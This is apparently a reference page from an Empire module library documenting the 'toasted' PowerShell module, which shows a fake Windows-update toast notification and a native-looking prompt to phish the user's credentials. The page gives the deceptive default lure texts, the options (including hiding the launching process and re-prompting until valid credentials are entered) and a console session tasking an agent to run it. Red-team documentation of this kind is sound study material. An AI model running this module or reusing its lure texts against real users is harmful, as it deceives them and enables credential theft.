Invoke-CredentialPhisher - Empire Module
This page contains detailed information about how to use the powershell/collection/toasted Empire module. For list of all Empire modules, visit the Empire Module Library.
Module Overview
Name: Invoke-CredentialPhisher
Module: powershell/collection/toasted
Source code [1]: empire/server/modules/powershell/collection/toasted.yaml
Source code [2]: empire/server/data/module_source/collection/Invoke-CredentialPhisher.ps1
MITRE ATT&CK:
T1141, T1514
Language: PowerShell
Needs admin: No
OPSEC safe: No
Background: No
The toasted module spawns a native toast notification that, if clicked, prompts the current user to enter their credentials into a native looking prompt. Notification stays on screen for ~25 seconds. Requires Windows >= 8.1/2012.
This module runs in a foreground and is OPSEC unsafe as it writes on the disk and therefore could be detected by AV/EDR running on the target system.
Note that the toasted module does not need administrative privileges to work properly which means that a normal user can run this module.
Required Module Options
This is a list of options that are required by the toasted module:
Agent
Agent to phish credentials from.
Application
Name of the application to claim launched the prompt (ie. "outlook", "explorer").
Default value: System Configuration.
CredBoxMessage
Message of the box prompting for credentials.
Default value: Authentication is required to reschedule a system restart.
CredBoxTitle
Title on the box prompting for credentials.
Default value: Are you sure you want to reschedule restarting your PC?.
ToastMessage
Message of toast notification box.
Default value: Windows will soon restart to complete applying recently installed updates. Use the drop down below to reschedule the restart for a later time..
ToastTitle
Title of toast notification box.
Default value: Windows will restart in 5 minutes to finish installing updates.
ToastType
Type of Toast notification ("System" or "Application").
Default value: System.
Additional Module Options
This is a list of additional options that are supported by the toasted module:
HideProcess
Switch. True/False to hide the window of the process we claim launched the prompt (default = false).
VerifyCreds
Switch. True/False to verify the creds a user provides, and prompt them again until they either click cancel or enter valid creds (default = false).
Toasted Example Usage
Here's an example of how to use the toasted module in the Empire client console:
[+] New agent Y4LHEV83 checked in
[*] Sending agent (stage 2) to Y4LHEV83 at 192.168.204.135
(empire usestager/windows/ducky) > usemodule powershell/collection/toasted
Author Powershell script by @foxit
Empire implementation by @Quickbreach
Background False
Comments https://www.fox-it.com/en/insights/blogs/blog/phishing-ask-and-ye-
shall-receive/
Description Spawns a native toast notification that, if clicked, prompts the
current user to enter their credentials into a native looking prompt.
Notification stays on screen for ~25 seconds. Requires Windows >=
8.1/2012
Language powershell
Name powershell/collection/toasted
NeedsAdmin False
OpsecSafe False
Techniques http://attack.mitre.org/techniques/T1141
http://attack.mitre.org/techniques/T1514
,Record Options--,-------------------------------------,----------,-------------------------------------,
| Name | Value | Required | Description |
|----------------|-------------------------------------|----------|-------------------------------------|
| Agent | | True | Agent to phish credentials from |
|----------------|-------------------------------------|----------|-------------------------------------|
| Application | System Configuration | True | Name of the application to claim |
| | | | launched the prompt (ie. "outlook", |
| | | | "explorer") |
|----------------|-------------------------------------|----------|-------------------------------------|
| CredBoxMessage | Authentication is required to | True | Message of the box prompting for |
| | reschedule a system restart | | credentials |
|----------------|-------------------------------------|----------|-------------------------------------|
| CredBoxTitle | Are you sure you want to reschedule | True | Title on the box prompting for |
| | restarting your PC? | | credentials |
|----------------|-------------------------------------|----------|-------------------------------------|
| HideProcess | | False | Switch. True/False to hide the |
| | | | window of the process we claim |
| | | | launched the prompt (default = |
| | | | false) |
|----------------|-------------------------------------|----------|-------------------------------------|
| ToastMessage | Windows will soon restart to | True | Message of toast notification box |
| | complete applying recently | | |
| | installed updates. Use the drop | | |
| | down below to reschedule the | | |
| | restart for a later time. | | |
|----------------|-------------------------------------|----------|-------------------------------------|
| ToastTitle | Windows will restart in 5 minutes | True | Title of toast notification box |
| | to finish installing updates | | |
|----------------|-------------------------------------|----------|-------------------------------------|
| ToastType | System | True | Type of Toast notification |
| | | | ("System" or "Application") |
|----------------|-------------------------------------|----------|-------------------------------------|
| VerifyCreds | | False | Switch. True/False to verify the |
| | | | creds a user provides, and prompt |
| | | | them again until they either click |
| | | | cancel or enter valid creds |
| | | | (default = false) |
'----------------'-------------------------------------'----------'-------------------------------------'
(Empire: usemodule/powershell/collection/toasted) > set Agent Y4LHEV83
[*] Set Agent to Y4LHEV83
(Empire: usemodule/powershell/collection/toasted) > set Application System
[*] Set Application to System
(Empire: usemodule/powershell/collection/toasted) > set CredBoxMessage Authentication
[*] Set CredBoxMessage to Authentication
(Empire: usemodule/powershell/collection/toasted) > set CredBoxTitle Are
[*] Set CredBoxTitle to Are
(Empire: usemodule/powershell/collection/toasted) > set ToastMessage Windows
[*] Set ToastMessage to Windows
(Empire: usemodule/powershell/collection/toasted) > set ToastTitle Windows
[*] Set ToastTitle to Windows
(Empire: usemodule/powershell/collection/toasted) > set ToastType System
[*] Set ToastType to System
(Empire: usemodule/powershell/collection/toasted) > execute
[*] Tasked Y4LHEV83 to run Task 1
...
Now wait for the results to come.
Authors
- Powershell script by @foxit
- Empire implementation by @Quickbreach
References
- https://github.com/BC-SECURITY/Empire/tree/master/empire/server/modules/powershell/collection/toasted.yaml
- https://github.com/BC-SECURITY/Empire/tree/master/empire/server/data/module_source/collection/Invoke-CredentialPhisher.ps1
- https://www.fox-it.com/en/insights/blogs/blog/phishing-ask-and-ye-shall-receive/
- http://attack.mitre.org/techniques/T1141
- http://attack.mitre.org/techniques/T1514
- https://www.go4expert.com/articles/hiding-windows-c-sharp-t973/
- https://github.com/rkeithhill/PoshWinRT
See Also
Check also the following modules related to this module:
- powershell/collection/get_sql_query
- powershell/collection/SharpLoginPrompt
- powershell/collection/file_finder
- powershell/collection/get_indexed_item
- powershell/collection/ninjacopy
- powershell/collection/clipboard_monitor
- powershell/collection/FoxDump
- powershell/collection/prompt
- powershell/collection/minidump
- powershell/collection/netripper
- powershell/collection/SauronEye
- powershell/collection/screenshot
- powershell/collection/find_interesting_file
- powershell/collection/inveigh
- powershell/collection/browser_data
- powershell/collection/WireTap
- powershell/collection/WebcamRecorder
- powershell/collection/ChromeDump
- powershell/collection/USBKeylogger
- powershell/collection/get_sql_column_sample_data
- powershell/collection/keylogger
- powershell/collection/get-winupdates
- powershell/collection/packet_capture
- powershell/collection/SharpChromium
- powershell/collection/vaults/remove_keepass_config_trigger
- powershell/collection/vaults/add_keepass_config_trigger
- powershell/collection/vaults/keethief
- powershell/collection/vaults/find_keepass_config
- powershell/collection/vaults/get_keepass_config_trigger
Version
This page has been created based on Empire version 4.1.3 (BC Security Fork).
Visit Empire Module Library for more modules.
